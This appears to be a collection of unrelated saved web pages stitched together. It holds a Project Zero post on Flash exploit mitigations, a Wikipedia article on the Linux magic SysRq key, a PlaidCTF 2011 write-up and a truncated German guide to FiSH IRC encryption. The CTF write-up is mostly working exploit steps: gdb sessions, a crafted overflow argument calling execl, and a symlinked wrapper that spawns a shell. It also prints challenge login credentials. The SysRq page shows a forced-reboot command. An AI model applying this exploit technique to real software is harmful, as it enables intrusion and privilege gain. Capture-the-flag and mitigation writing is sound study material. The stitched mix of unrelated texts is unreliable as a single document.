src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f7265706c61792e706e67.png'
width='762' height='404' alt='replay' />

Note that if you modify the request, then a new request will be generated,
which in turn you will be allowed to modify. So make sure to leave at least
one request unmodified so the requests stop showing up.

# NOTE

This is not an official Google product.

  

# Project Zero: Significant Flash exploit mitigations are live in v18.0.0.209

**Created:**| _7/17/2015 10:04:04 AM_  
---|---  
**Updated:**| _7/17/2015 10:04:04 AM_  
**Author:**| __  
**Tags:**| _Flash_  
  

Posted by Mark Brand and Chris Evans, isolators of heaps

**

**

Whilst Project Zero has gained a reputation for vulnerability and exploitation
research, that's not all that we do. One of the main reasons we perform this
research is to provide data to defenders; and one of the things that defenders
can do with this data is to devise exploit mitigations.

**

**

Sometimes, we'll take on exploit mitigations ourselves. Recently, we've been
working with Adobe on Flash mitigations, and this post describes some
significant mitigations have landed over the past couple of Flash versions.

**

**

Now is a good time to check your current Flash version because you really want
the latest one. For example, if you're running Google Chrome, you can visit
about:version to check the versions of various components. If you have Flash
v18.0.0.209 \(or newer\), then you have the new goodies. If not, you can \(on
Windows\) visit chrome://chrome to give the autoupdater a kick. \(If you’re
running an older version of Chrome, you will in fact receive a more active
warning and block when encountering Flash content.\)

**

**

Before we dive into the technicalities of some of the mitigations landed, it's
worth reminding ourselves how the vast majority of recent Flash 0-day, 1-day
and research exploits have worked:

**

**

<img src='img/Temp2_6446.png' />

In the above diagram, we see a heap overflow vulnerability being exploited.
The attacker has performed "heap grooming", which attempts to place an object
of interest after the object from which the heap overflow originates. The
chosen object of interest is a Vector.<uint> buffer, which starts with a
length. The desired corruption is to corrupt and increase this length. This
technique was used in recent 0-days, as well as various 1-days.

**

**

<img src='img/Temp2_6445.png' />

**

**

And in this diagram, we see a use-after-free vulnerability being exploited.
The attacker has caused a heap chunk to be freed whilst it is still
referenced. The attacker then allocates a Vector.<uint> into this freed heap
chunk and the subsequent use-after-free writes over the Vector.<uint> length
with a larger value. This technique was used in at least two of the recent
Hacking Team 0-days.

**

**

The commonality between both cases is an abuse of a corruption of a
Vector.<uint> buffer object's length, which has been the go-to method for
Flash exploitation for a while. Aside from 0-days and 1-days, Project Zero's
own research has used this technique. For example, when working on the new
exploit primitive "parallel thread corruption", we used Vector.<uint>. And why
wouldn't we? There's no point in doing something complicated when something
simple exists to solve the problem. And it is exactly because the
Vector.<uint> primitive is so simple and powerful that it needs to be
addressed.

**

**

Mitigation: Vector.<uint> buffer heap partitioning

**

**

Heap partitioning is a technique that isolates different types of objects on
the heap from one another. Chrome uses heap partitioning extensively, and it
has become a common defensive technique in multiple browsers. We have now
introduced this technology into Flash. In its initial form, Vector.<uint>
buffer objects \(and other very similar objects\) are now isolated from the
general Flash heap, because we put them in the standard system heap:

**

**

<img src='img/Temp2_6444.png' />

We have now defended the integrity of Vector.<uint> buffers from both heap
overflow and use-after-free attacks\! In the case of a heap overflow within
the Flash heap, the Vector.<uint> buffer objects are simply not there to
corrupt. In the case of the use-after-free, when the attacker tries to
allocate the Vector.<uint> buffer to occupy the free heap chunk of interest,
it will not end up being allocated there because it lives in a different heap.

**

**

It's worth noting that this defense is much more powerful in a 64-bit build of
Flash, because of address space limitations of 32-bit processes. Now is a good
time to upgrade to a 64-bit browser and Flash. For example, if you're using
Chrome on Windows 7 x64 \(or newer\), you might be running a 32-bit browser on
a 64-bit capable system. To check, visit chrome://chrome and look for the
string "64-bit" -- its presence or absence will indicate whether you have the
32-bit or 64-bit build. Further details on the advantages of the 64-bit
Windows build are covered on the Chromium blog.

**

**

Mitigation: stronger randomization for the Flash heap

**

**

One day, while browsing the heap mappings for a Flash process on x64 Windows
7, we noticed a strong determinism in the position of the Flash heap. We filed
bug 276, which is now fixed. Beyond fixing the immediate issue of the Flash
heap being at a predictable location, the patch we provided had useful side
effects to hamper exploitation:

**

**

  * Large allocations \(> 1MB\) are also randomized better than they used to be. This means, for example, that this previous Project Zero work, which relied on 1GB+ allocations being packed in predictable locations, is no longer a viable exploitation technique.

**

**

  * On 64-bit systems, the Flash heap will likely end up very far away from other memory mappings. This provides some interesting properties. For example, in the same exploit, a buffer length is corrupted and the buffer is then used to read function pointers in the PLT section of the Flash library. A buffer length is typically 32-bit, so the range of the corruption that can be effected by an errant buffer might be something like 2^32 \* sizeof\(unsigned int\), or 16GB. With this new mitigation in place, the binary sections are unlikely to be close enough to the Flash heap for buffer corruptions to be able to reach them. The attacker would need an additional level of indirection.

**

**

To look at the runtime effect of the combination of the above two mitigations,
we can run a simple Flash program which allocates a large Vector.<uint> and a
large ByteArray:

**

**

\_bigVec = new Vector.<uint>;

\_bigVec.length = \(\(512 \* 1024 \* 1024\) - 500\) / 4;

\_bigVec\[0\] = 0xf2f2f2f2;

\_bigArr = new ByteArray\(\);

\_bigArr.length = 512 \* 1024 \* 1024;

\_bigArr\[0\] = 0xf1;

**

**

And then look at the resulting process mappings; Chrome Linux x64 in this
case:

**

**

2d7ef200000-2d7ef209000 rw-p 00000000 00:00 0

35001005000-35022005000 rw-p 00000000 00:00 0 // Isolated 512MB ByteArray
buffer.

a7026000000-a7026100000 rw-p 00000000 00:00 0

\[...\]

11655c57f000-11657c87f000 rw-p 00000000 00:00 0 // tcmalloc heap;
Vector.<uint>

// buffer at 0x11655c6ae000

\[...\]

3d3c8715f000-3d3c8716f000 r-xp 00000000 00:00 0 // Main Flash heap mappings
\(x3\)

3d3c8716f000-3d3c8760b000 rw-p 00000000 00:00 0

3d3c8760b000-3d3c87f4b000 ---p 00000000 00:00 0

**

**

This new heap partitioning is currently enabled for the Pepper plug-in
versions of Flash, so you can see it in action right away in Google Chrome
\(all operating systems\). Adobe are planning to extend the partitioning to
cover non-Pepper plug-ins in August.

**

**

Mitigation: Vector.<\*> length validation

**

**

In the same Flash patch, there are not one, but two mitigations for Vector
length corruptions\! This second mitigation was authored by Adobe. It works by
storing Vector lengths alongside a validation secret. If the attacker corrupts
a length, they do not know what value to set the secret to, and the resulting
mismatch results in a runtime abort. This mitigation is present across all
Flash builds as of 18.0.0.209.

**

**

It may sound strange to have two mitigations for one exploitation primitive,
but the mitigations actually complement each other very nicely. Heap
partitioning is very effective in 64-bit builds, but address space limitations
can cause a bit of a squeeze in 32-bit. Perhaps the best example of this is
our blog post on bug 229, which is a bug that only has impact on 32-bit
builds. The primitive provided by the bug is the ability to write at any
absolute address in the 32-bit address space. Obviously, this primitive
crosses partitions and a heap spray on 32-bit can make a chosen address likely
to be mapped. Therefore, attempts to exploit this bug on 32-bit may sidestep
partitioning but get hampered by the length validation.

**

**

Furthermore, the heap partitioning does not cover Vector.<Object> buffers due
to the way garbage collection works. The length validation covers this and all
types of Vector. Finally, we note that Vector.<uint> buffers are \(currently\)
in the system heap as opposed to a distinct partition. So even though most
allocations in the Flash process occur in the Flash heap, there’s still the
possibility that a memory corruption in the system heap could corrupt a
Vector.<uint> buffer and the length validation helps here.

**

**

The future

**

**

We believe we've contributed a strong step forward in Flash security, but
we're very far from finished. For every mitigation landed by defenders,
attackers will attempt to devise a counter-mitigation. It's a cat-and-mouse-
game, but we'll be looking out for attackers' attempts to adapt, and devising
further mitigations based on what we see. Perhaps more importantly, we're also
devising a next level of defenses based on what we expect we might see. Our
partitioning mitigation is far from finished. We’ll be analyzing object types
to see what else might benefit from partitioning, and moving forward
incrementally.

**

**

On top of this, we're continuing to help lock down the various browser
sandboxes, and working on compiler-based mitigations. As always, we'll fully
share our work when we have something interesting to show.

**

**

We'd like to thank Adobe for working with us.

# Magic SysRq key - Wikipedia, the free encyclopedia

**Created:**| _5/22/2009 3:46:37 PM_  
---|---  
**Updated:**| _5/22/2009 3:46:45 PM_  
**Author:**| __  
**Tags:**| _Linux_  
  

# Magic SysRq key

### From Wikipedia, the free encyclopedia

The **magic SysRq key** is a key combination in the Linux kernel which allows
the user to perform various low level commands regardless of the system's
state using the SysRq key. It is often used to recover from freezes, or to
reboot a computer without corrupting the filesystem.\[1\]

To be able to use this functionality the CONFIG\_MAGIC\_SYSRQ option has to be
enabled at kernel compile time.

## Contents

\[hide\]

  * 1 Purpose
  * 2 Magic commands
  * 3 Common usage
    * 3.1 Command line access and configuration
    * 3.2 Remote access
    * 3.3 Graphical programs
    * 3.4 In hypervisors
  * 4 "Raising Elephants" mnemonic device
  * 5 Security concerns
  * 6 See also
  * 7 External links
  * 8 References

  
---  
## \[edit\]Purpose

Much like the Sun Microsystems' Open Firmware \(OpenBoot\), this key
combination provides the ability to have access to powerful tools for software
development and disaster recovery. In this sense, it can be considered a form
of escape sequence. Principal among the offered commands are options to
forcibly unmount file systems, kill processes, recover keyboard state, and
write unwritten data to disk. With respect to these tasks, they provide a tool
of last resort.

## \[edit\]Magic commands

The key combination consists of Alt, SysRq and another key, which controls the
command issued \(as shown in the table below\). Users with a keyboard
layoutother than QWERTY have to remember that their layout becomes QWERTY when
they use one of these combinations. For example, on a Dvorak keyboard, the key
below '9' and '0' counts as a 'o', not as an 'r', so it shuts the system down
instead of switching the keyboard to raw mode. Furthermore, some keyboards may
not provide a separate SysRq key. In this case, a separate "Print" key should
be present. The AltGr key, if present, can be used in place of Alt key in
order to avoid alternative uses of these combinations such as Screenshot for
Alt+SysRq+s under Gnome. It also can be accessed from the serial console.\[2\]

Action| QWERTY| Dvorak| AZERTY  
---|---|---|---  
Set the console log level, which controls the types of kernel messages that are output to the console | **0** through**9** | **0** through**9** | **0** through **9**  
\(_without_ using shift\)  
Immediately reboot the system, without unmounting partitions or syncing | **b**| **x**| **b**  
Reboot kexec and output a crashdump | **c**| **j**| **c**  
Display all currently held Locks | **d**| **e**| **d**  
Send the SIGTERM signal to all processes except init \(PID 1\) | **e**| **.**| **e**  
Call oom\_kill, which kills a process to alleviate an OOM condition | **f**| **u**| **f**  
When using Kernel Mode Setting, provides emergency support for switching back to the kernel's framebuffer console\[3\] | **g**| **i**| **g**  
Output a terse help document to the console  
Any key which is not bound to a command should also do the trick | **h**| **d**| **h**  
Send the SIGKILL signal to all processes except init | **i**| **c**| **i**  
Kill all processes on the current virtual console \(Can be used to kill X and
svgalib programs, see below\)  
This was originally designed to imitate a Secure Access Key | **k**| **t**| **k**  
Show a stack backtrace of all currently executing tasks | **l**| **n**| **l**  
Output current memory information to the console | **m**| **m**| **,**  
Reset the nice level of all high-priorty and real-time tasks | **n**| **b**| **n**  
Shut off the system | **o**| **r**| **o**  
Output the current registers and flags to the console | **p**| **l**| **p**  
Display all active high-resolution timers and clock sources. | **q**| **'**| **a**  
Switch the keyboard from raw mode, the mode used by programs such as X11 and svgalib, to XLATE mode | **r**| **p**| **r**  
Sync all mounted filesystems | **s**| **o**| **s**  
Output a list of current tasks and their information to the console | **t**| **y**| **t**  
Remount all mounted filesystems in read-only mode | **u**| **g**| **u**  
Output Voyager SMP processor information | **v**| **k**| **v**  
Display list of blocked \(D state\) tasks | **w**| **,**| **z**  
## \[edit\]Common usage

### \[edit\]Command line access and configuration

While this was originally implemented as part of the kernel's keyboard handler
for debugging, the functionality has been also exposed via the proc filesystem
and are commonly used to provide extended management capabilities to headless
and remote systems. As an example, shell script can be simply used:

[code]

    echo b > /proc/sysrq-trigger
    
    
[/code]

This is equivalent to the key combination Alt + SysRq + B which reboots the
machine.

The feature is controlled both by a compile-time option in the kernel
configuration, CONFIG\_MAGIC\_SYSRQ, and a sysctl kernel parameter,
kernel.sysrq. This can be accessed through the proc filesystem as well, e.g.:

[code]

    echo 1 > /proc/sys/kernel/sysrq
    
    
[/code]

### \[edit\]Remote access

The linux daemon sysrqd provides a method of accessing SysRq features over
TCP/IP port 4094 after authenticating with a plain-text password.

### \[edit\]Graphical programs

When magic SysRq keys are used to kill a frozen graphical program, the program
has no chance to restore text mode. This can make everything unreadable. The
commands `textmode` \(part of SVGAlib\) and `reset` can restore text mode and
make the console readable again.

### \[edit\]In hypervisors

The Xen hypervisor has functionality to send magic commands to hosted domains
via its "xm" command.\[4\]

## \[edit\]"Raising Elephants" mnemonic device

A common idiom to perform a safe reboot of a Linux computer which has
otherwise locked up, the QWERTY \(or AZERTY\) mnemonic "**R** aising **E**
lephants **I** s **S** o**U** tterly **B** oring", "**R** eboot **E** ven
**I** f **S** ystem **U** tterly **B** roken" or simply remembering the word
"BUSIER" backwards, is often useful.\[5\] It stands for

[code]

    un**R** aw      (take control of keyboard back from X),  
     t**E** rminate (send SIGTERM to all processes, allowing them to terminate gracefully),
     k**I** ll      (send SIGKILL to all processes, forcing them to terminate immediately), 
      **S** ync     (flush data to disk),
      **U** nmount  (remount all filesystems read-only),
    re**B** oot.
    
    
[/code]

This can prevent a fsck being required on reboot and gives some programs a
chance to save emergency backups of unsaved work.

Another common version of this mnemonic device is "Raising Skinny Elephants Is
Utterly Boring", which performs the same task, but in an alternate order.
There is debate regarding whether the Sync command should come earlier or
later.

**Wait** a few seconds between each command. For example, many applications
will do an emergency save on receiving SIGTERM, but if SIGKILL is sent too
soon, the application will not have time. Likewise, the Sync and Unmount
processes need a few seconds before the system is rebooted.

## \[edit\]Security concerns

Some people view this key as giving access to dangerous system-level commands
to anyone who has physical access to the keyboard or serial console.\[6\] It
has been argued that this perceived security is illusory, as anyone with
physical access to the computer would already have the capability to
compromise its security.\[7\] The advent of the procfs interface has rekindled
debate over this subject.

## \[edit\]See also

<img src='img/Temp2_5071.png' width='40' height='40' alt='Sister project' />|
The Wikibook  _Linux Guide_ has a page on the topic of _**Freezes**_  
---|---  
  * Console server
  * KVM switch
  * Power distribution unit
  * System console

## \[edit\]External links

  * Documentation/sysrq.txt in the Linux kernel source tree
  * Kernel patch to the -mm tree that added the /proc/sysrq-trigger feature “This makes sysrq facilities available to remote users.”
  * Tony Lawrence \(April 13, 2005\). "General notes on magic sysrq".  _A.P. Lawrence website_.
  * Tom Gall \(Apr 1, 2000\). "Magic sys request".  _Linux_. IBM Developer Works. Archived from the original on May 27, 2007.

## \[edit\]References

  1. **^** http://lxr.linux.no/linux/Documentation/sysrq.txt
  2. **^** http://www.tldp.org/HOWTO/Remote-Serial-Console-HOWTO/index.html
  3. **^** DRM: i915: add mode setting support
  4. **^** http://www.redhat.com/docs/en-US/Red\_Hat\_Enterprise\_Linux/5.2/html/Virtualization/sect-Virtualization-Commands\_for\_Red\_Hat\_Virtualization-The\_xm\_command\_line\_interface.html
  5. **^** http://fosswire.com/2007/09/08/fix-a-frozen-system-with-the-magic-sysrq-keys/
  6. **^** http://linuxgazette.net/issue81/vikas.html
  7. **^** http://lkml.indiana.edu/hypermail/linux/kernel/9806.1/0737.html

# PlaidCTF 2011 \#20 – C++ upgrade \(300\) » Leet More

**Created:**| _4/26/2011 8:56:17 PM_  
---|---  
**Updated:**| _4/26/2011 8:56:17 PM_  
**Author:**| __  
**Tags:**| _C++ vulnerability ctf_  
  

## PlaidCTF 2011 \#20 – C++ upgrade \(300\)

  * Writeups

by hellman

**Category: pwnables**

> They have an update for the vulnerable C++ program trying to fix the bug.  
>  However, the coders at AED suck and introduced another stupid mistake.
> Get a shell \(and the key, too.\)
> `**ssh username@a5.amalgamated.biz**  
>  **Username:** cpp2_1  
>  **Password:** zKQaKrdFPSsT6j03XSt31NaT0H  
>  `
**Summary:** tricky overflow class’ method and exec’ing symlinks

This task is not so easy and needs some reversing. Here’s it’s code:

[code]

    int main(int argc, int argv)
    {
      // ... vars
      if ( argc <= 4 )
        sub_8048824(*(_DWORD *)argv);
      obj1_ = operator new(&argc, a2);
      init_obj1(obj1_);
      obj1 = obj1_;
      obj2 = operator new(v8, v7);
      init_obj2(obj2);
      argv2atoi = atoi(*(const char **)(argv + 8)); // argv[2]
      argv3atoi = atoi(*(const char **)(argv + 12));// argv[3]
      process_obj1(obj1, argv2atoi, *(_DWORD *)(argv + 4));// argv[1]
      if ( argv3atoi & 1 )
        process_obj2(obj2, *(const char **)(*(_DWORD *)(v12 + 4) + 16));
      return 0;
    }
    
    int process_obj1(int obj1, int a2, int a3)
    {
      sprintf((char *)(obj1 + 4), "Uploading... [%s]: %d pts\n", a3, a2);
      memcpy(s, (const void *)(obj1 + 4), 50u);
      (**(void (__cdecl ***)(_DWORD, _DWORD))obj1)(obj1, s);
      return sub_804897C();
    }
    
    void process_obj2(int obj2, const char *src)
    {
      strcpy((char *)(obj2 + 4), src);
      (**(void (__cdecl ***)(int, const char *))obj2)(obj2, src);
      sub_8048ADE(obj2);
    }
    
[/code]

In the C++5x string **“Uploading… \[blabla\]** ” was **sprintf** ed at the
local function variable, and this allowed us to overwrite object’s pointer.
Here it’s printed into the objects space, which is in the heap. But there’s
also the second object – it is created just after the first, and is situated
right after it. We can overwrite the second object’s method pointer \(it’s the
first dword of object structure\). Let’s count size of buffer needed:

[code]

    cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
    'print "ABCD";'`" 1 1 1
    ...
    Breakpoint 1, 0x08048bf2 in ?? ()
    (gdb) x/20xw $eax-64
    0x92c4008:    0x08048da8    0x6f6c7055    0x6e696461    0x2e2e2e67
    0x92c4018:    0x42415b20    0x3a5d4443    0x70203120    0x000a7374
    0x92c4028:    0x00000000    0x00000000    0x00000000    0x00000000
    0x92c4038:    0x00000000    0x00000000    0x00000000    0x00000019
    0x92c4048:    0x08048dd0    0x00000031    0x00000000    0x00000000
    (gdb) p/d 0x92c4048-0x92c401a
    $3 = 46
    
[/code]

So, 46 bytes and the pointer. What is passed to the called function?

[code]

    cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
    'print "AAAABBBB" . "X"x38 . "CCCC";'`" 1 1 1
    Breakpoint 1, 0x08048bf2 in ?? ()
    (gdb) x/10i $eip
    0x8048bf2:    mov    (%eax),%eax
    0x8048bf4:    mov    (%eax),%edx
    0x8048bf6:    mov    0xc(%ebp),%eax
    0x8048bf9:    mov    %eax,0x4(%esp)
    0x8048bfd:    mov    0x8(%ebp),%eax
    0x8048c00:    mov    %eax,(%esp)
    0x8048c03:    call   *%edx
    
    (gdb) x/4xw $eax
    0x97c0048:    0x43434343    0x31200031    0x73747020    0x0000000a
    
    (gdb) ni
    0x08048bf4 in ?? ()
    
    (gdb) set $eax=0x97c0048
    
    (gdb) ni
    0x08048bf6 in ?? ()
    
    (gdb) p/x $edx
    $1 = 0x43434343
    
    ...
    
    (gdb) ni
    0x08048c03 in ?? ()
    (gdb) x/20xw $esp
    0xbf8c0bd0:    0x097c0048    0xbf8c1e88    0xbf8c0c08    0x08048919
    0xbf8c0be0:    0x097c0048    0xbf8c1e88    0xbf8c1e51    0xbf8c0c20
    0xbf8c0bf0:    0x097c0008    0x097c0048    **0x00000001**    0x00000001
    
[/code]

Looks like all arguments are valid poninters. **execl** will be good here, but
**0×00000001** must be **NULL** then. What if it’s one of that three
arguments?

[code]

    cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
    'print "AAAABBBB" . "X"x38 . "CCCC";'`" 0 1 1
    (gdb) x/20xw $esp
    0xbff5e9e0:    0x0818d048    0xbff5fe88    0xbff5ea18    0x08048919
    0xbff5e9f0:    0x0818d048    0xbff5fe88    0xbff5fe51    0xbff5ea30
    0xbff5ea00:    0x0818d008    0x0818d048    **0x00000000**    0x00000001
    
[/code]

Yeah\! Great\! **execl** is good choice here. Now we have to find a place for
a pointer. Like in C++5x, it is in **.bss** , where the string **“Uploading…
\[” + buffer** is printed:

[code]

    .bss:080491A0 s
    
[/code]

Our data is at `**080491A0 + 14 = 080491AE**`.

Let’s look what is executed:

[code]

    cpp2_1@a5:~$ ulimit -s unlimited  # disable libc ASLR
    cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
    'print "ABCD";'`" 0 1 1
    ...
    (gdb) r
    ...
    (gdb) p/x &execl
    $1 = 0x401f6b60
    ^C
    cpp2_1@a5:~$ strace /opt/pctf/cpp2/second_cpp "`perl -e
    'print "\x60\x6b\x1f\x40" . "X"x42 . "\xae\x91\x04\x08";'`" 0 1 1
    ...
    execve("\256\221\4\0101", ["1", "\30...
    ...
    
[/code]

Ok, time to win:

[code]

    cpp2_1@a5:~$ export PATH=".:$PATH"
    cpp2_1@a5:~$ cat >wrap.sh
    #!/bin/sh
    /bin/sh
    cpp2_1@a5:~$ chmod +x wrap.sh
    cpp2_1@a5:~$ ln -s wrap.sh $'\256\221\4\0101'
    cpp2_1@a5:~$ /opt/pctf/cpp2/second_cpp "`perl -e 'print
    "\x60\x6b\x1f\x40" . "X"x42 . "\xae\x91\x04\x08";'`" 0 1 1
    Uploading... [`k@XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXJob is done!
    Your Awesomeness point uploaded!
    $ id
    uid=4000(cpp2_1) gid=4000(cpp2users) egid=4001(cpp2key)
    groups=4000(cpp2users)
    $ cat /opt/pctf/cpp2/key
    It_Wasn7_th4t_DifffficuLt_VVas_1t?
[/code]

# burn a church » Mit FiSH verschlüsselt ins IRC

**Created:**| _12/27/2010 8:36:33 AM_  
---|---  
**Updated:**| _12/27/2010 8:36:49 AM_  
**Author:**| __  
**Tags:**| _social_  
  

## Mit FiSH verschlüsselt ins IRC

Das IRC ist die älteste und nach wie vor beliebteste Umsetzung von einem
Internet Chat. Es entstand zu einer Zeit, wo das Internet nicht das war, wie
wir es heute kennen. Entsprechend verstaubt und antiquiert wirkt das zugrunde
liegende Protokoll heute auch, was gerade den Charme zu den unerträglichen
browserbasierten Webchats ausmacht.

Doch ein Problem hat IRC: In der Spezifikation ist die Verschlüsselung von
Kommunikation nicht einmal vorgesehen, geschweige den gefordert. Dies ist
natürlich inakzeptabel.

### Wozu verschlüsseln?

Der Grund einer Verschlüsselung, ergibt sich aus der Möglichkeit. IRC ist ein
textbasiertes Protokoll, als solches ist es ein leichtes Kommunikationsstränge
zu verfolgen, wenn man an geeigneter Stelle sitzt, von wo aus eine Abhörung
möglich ist. Klassische Orte sind zum Beispiel der Netzwerkrouter, ein
zwischengeschalteter Repeater \(”Man in the Middle”\) und - natürlich - im
jederzeit abhörbaren WLAN.

<img src='img/Temp2_10116.png' width='250' height='176' />

IRC-Server die eine Verbindung über SSL ermöglichen verhindern erzeugen dabei
lediglich ein falsches trügerisches Gefühl der Sicherheit. Denn IRC ist ein
dezentrales, verteiltes Protokoll. Anders als zum Beispiel HTTP \(das WWW,
surfen im Web\) wo es eine abgeschlossene Ende-zu-Ende Verbindung zwischen
Webbrowser und Webserver gibt, ist dies beim IRC keineswegs so. Ein IRC-Klient
kann sich natürlich verschlüsselt zu einem IRC-Server verbinden, dieser ist
aber seinerseits mit Hunderten anderer Benutzer und Server verbunden und
agiert lediglich als Proxy, als Nachrichtenverteiler. Es gibt keine Garantie,
dass der Server diese Verbindungen ebenso verschlüsselt. Es ist also lediglich
eine Frage des gewählten Ortes, wo man den großen Lauschangriff startet. So
bezeugt dies auch nebenstehender Screenshot vom Netzwerkanalysator _wireshark_
mit dessen Hilfe es kein Problem ist, IRC-Kommunikation zu filtern und zu
decodieren. Im unteren Fenster erscheint die gesprochene Kommunikation im
Klartext.

<img src='img/Temp2_10117.png' width='380' height='52' />

Benutzer von IRC-Netzwerken mit “Services” kennen den Befehl, einen
registrierten Nickname beim Server anzumelden. Im IRC-Klienten tippt man “
_/msg nickserv identify geheimespasswort_ ” und meldet sich so mit einem
persönlichen Passwort beim IRC-Service “NickServ” an. Selbstverständlich ist
auch dieses abhörbar. Dies ist einer der wenigen Fälle wo eine SSL geschützte
Verbindung tatsächlich helfen könnte.

Im übrigen werden auch private Benutzer-Benutzer Verbindungen im IRC Query
genannt über den Server transportiert, ermöglichen also den Serverbetreibern
ohne weiteres ein abhören dieser vermeintlich privaten Kommunikationswege.
Unabhängig von der Wahrscheinlichkeit ist es also problemlos für
Serverbetreiber möglich sämtliche Kommunikation über ihre Server abzuhören.
Und das ist keineswegs derart unwahrscheinlich, es gibt eine sehr große Anzahl
an IRC-Netzwerken, viele davon von dubiosen und fragwürdigen Betreibern.

<img src='img/Temp2_10115.png' width='620' height='62' />

Es macht also durchaus Sinn, ähnlich wie sich das in Jabber und ICQ als unter
dem Namen Off the Record Messaging langsam durchsetzt, eine Ende-zu-Ende
Verschlüsselung zu benutzen die eben zwischen den einzelnen Teilnehmern eine
Verschlüsselung unterstützt. Wieder ein Screenshot von Wireshark, diesmal
allerdings wurde die Kommunikation verschlüsselt.

Ende-zu-Ende Verschlüsselung ist allerdings nur umsetzbar, wenn diese beide
Seiten unterstützen. Dies erreicht man, indem der Anwender auf ein Protokoll
zurückgreift, das diese von Haus aus unterstützt. SILC zum Beispiel ist ein
dem IRC sehr ähnliches Protokoll bei dem dies von Grund auf in das Konzept
integriert ist. Allerdings ist es nicht kompatibel zu herkömmlichen IRC,
sodass eigene Klienten dafür benötigt werden, was sich nachteilig auf die
Verbreitung von SILC auswirkt. Zum anderen und damit wesentlich besser, ist
eine transparente Integration von Verschlüsselung im Klienten, wobei das
herkömmliche IRC-Protokoll als Transport verwendet wird. Es ist damit völlig
transparent für den Anwender, der nach wie vor herkömmlich in IRC-Channels
verweilen kann, aber gleichzeitig in Privatfenstern und verschlüsselten
Kanälen Verschlüsselung nach Bedarf verwenden kann.

### FiSH

FiSH ist die gängigste Umsetzung für Verschlüsselung auf der Anwenderseite. Es
ermöglicht sowohl in Privatfenstern \(Queries\) mit zwei Benutzern, als auch
in Channels mit einer unbegrenzten Benutzeranzahl die Anwendung von
Verschlüsselung. Anders als die asymmetrische Kryptoverfahren, die andere
Umsetzungen \(beispielsweise OTR\) für diesen Zweck verwenden, steht hinter
dem FiSH-Konzept eine symmetrische Lösung. Der Grund ist einfach wie
plausibel: asymmetrische Verschlüsselung ist spezifisch für einen Empfänger
bestimmt. Es ist also nicht möglich einen Text zu verschlüsseln, der von
mehreren Teilnehmern gleichzeitig gelesen werden kann. Gerade dies ist aber in
Channels mit mehreren, womöglich Hunderten, Benutzern aber unumgänglich.

Vor jeder Benutzung von FiSH steht in Channels also die \(einmalige\) Einigung
auf ein gemeinsames, geheimes Passwort um die Kommunikation dort zu
verschlüsseln. Dies muss im Vorfeld über einen sicheren Kanal stattfinden,
damit die Verbindung nicht von vornherein kontaminiert ist. Symmetrische
Verschlüsselung kann nämlich jederzeit nachträglich entschlüsselt werden,
sobald das Kennwort dafür bekannt ist.  
In Privatfenstern mit zwei Teilnehmern, den Queries, entfällt dieser lästige
Zwang, da sich FiSH hier automatisch mit dem anderen Teilnehmer auf einen
Schlüssel einigen kann, der über den DH-Schlüsselaustausch sicher erfolgen
kann.

Plugins im verwendeten IRC-Klienten sorgen von da an dafür, dass die
Kommunikation transparent verschlüsselt erfolgen kann. Gegenwärtig wird mIRC,
irssi und xchat \(einschließlich xchat Aqua und xchat für Windows\)
unterstützt. Das mIRC Plugin für Windows bringt ein grafisches Menü mit, die
irssi und xchat Variante ein gutes, züchtiges Kommandozeileninterface, das
über IRC-Kommandos \(”/befehl”\) gesteuert werden kann.

Korrekt geladen erscheint im xchat-Statusfenster die Meldung

[code]

    [15:22] FiSH: Using default password to decrypt blow.ini... Try /setinipw to set a custom password.
    [15:22] FiSH v0.98 - encryption plugin for XChat loaded! URL: http://fish.sekure.us
    
[/code]

Danach ist das Plugin registriert und konfiguriert. Die Konfiguration kann
auch händisch erfolgen, dies betrifft unter xchat vor allem kosmetische Dinge,
wie die Kennzeichnung verschlüsselter Kommunikation und die Kompatibilität zu
aktivierten Hervorhebungsmethoden \(Nich-Highlighting und so weiter\). Die
Konfiguration erfolgt über die zugehörige Konfigurationsdatei “blow.ini”, die
im selben Verzeichnis wie das Plugin liegt.

Eine gute Basis für xchat-Nutzer ist folgende blow.ini:

[code]

    [FiSH]
    process_incoming=1
    process_outgoing=1
    no_formatting=1
    plain_prefix="+p "
    nicktracker=1
     
     
    [incoming_format]
    crypted_privmsg="15< %s15>       %s"
    crypted_chanmsg="15< %s15>       %s"
     
    [outgoing_format]
    crypted_privmsg="15< %s15>       %s"
    crypted_chanmsg="15< %s15>       %s"
     
    [#channel]
    key=passwort
     
    [nickname]
    key=passwort
    
[/code]

Dies aktiviert Verschlüsselung und Entschlüsselung automatisch für ein- und
ausgehende Nachrichten wo ein Schlüssel bekannt ist und setzt eine graue
Umrandung um den Nick für verschlüsselte ausgehende Kommunikation. Der
Abschnitt “\[\#channel\]” definiert einen Schlüssel für den Channel
“\#channel”, “\[nickname\]” tut dies äquivalent für ein spezifisches
Dialogfenster mit einer Person diesen Namens. Letzteres ergänzt FiSH auch nach
Bedarf automatisch, wenn man einen DH-Schlüsselaustausch initialisiert.

Diesen Schlüsselaustausch führt man in einem Query-Fenster durch den Befehl “
_/keyx_ ” durch. Danach erscheint:

[code]

    [16:34] FiSH: Received DH1080 public key from Nickname, sending mine...
    [16:34] FiSH: Key for Nickname successfully set!
    
[/code]

Von da an kann man verschlüsselt kommunizieren. Je nachdem ob man ausgehende
Kommunikation automatisch verschlüsselt, einfach durch los tippen oder wenn
nicht durch “ _/msg+ Nickname verschlüsselter Text_ “. Natürlich ist es auch
möglich einen Schlüssel selbst zu setzen, wenn man sich nicht auf einen
automatischen Schlüsseltausch einlassen möchte. Dies erfolgt dann über “
_/setkey Nickname schluessel_ “. Zu beachten ist, dass dies dann aber beide
Teilnehmer selbständig mit dem selbsen Schlüssel durchführen müssen, damit
wechselseitige Kommunikation möglich ist.

Möchte man die gesamte Channelkommunikation verschlüsseln, setzt man ebenfalls
mit “ _/setkey \#channel schluessel_ ” einen Schlüssel, praktischerweise auf
jenen, auf den man sich zuvor geeinigt hat. Auch hier müssen den Schritt alle
Teilnehmer selbst wiederholen, damit verschlüsselte Channelkommunikation
lesbar ist. Auch hier gilt wieder das selbe wie für private Fenster: wird ein
Schlüssel gesetzt und ausgehende Kommunikation in der blow.ini automatisch
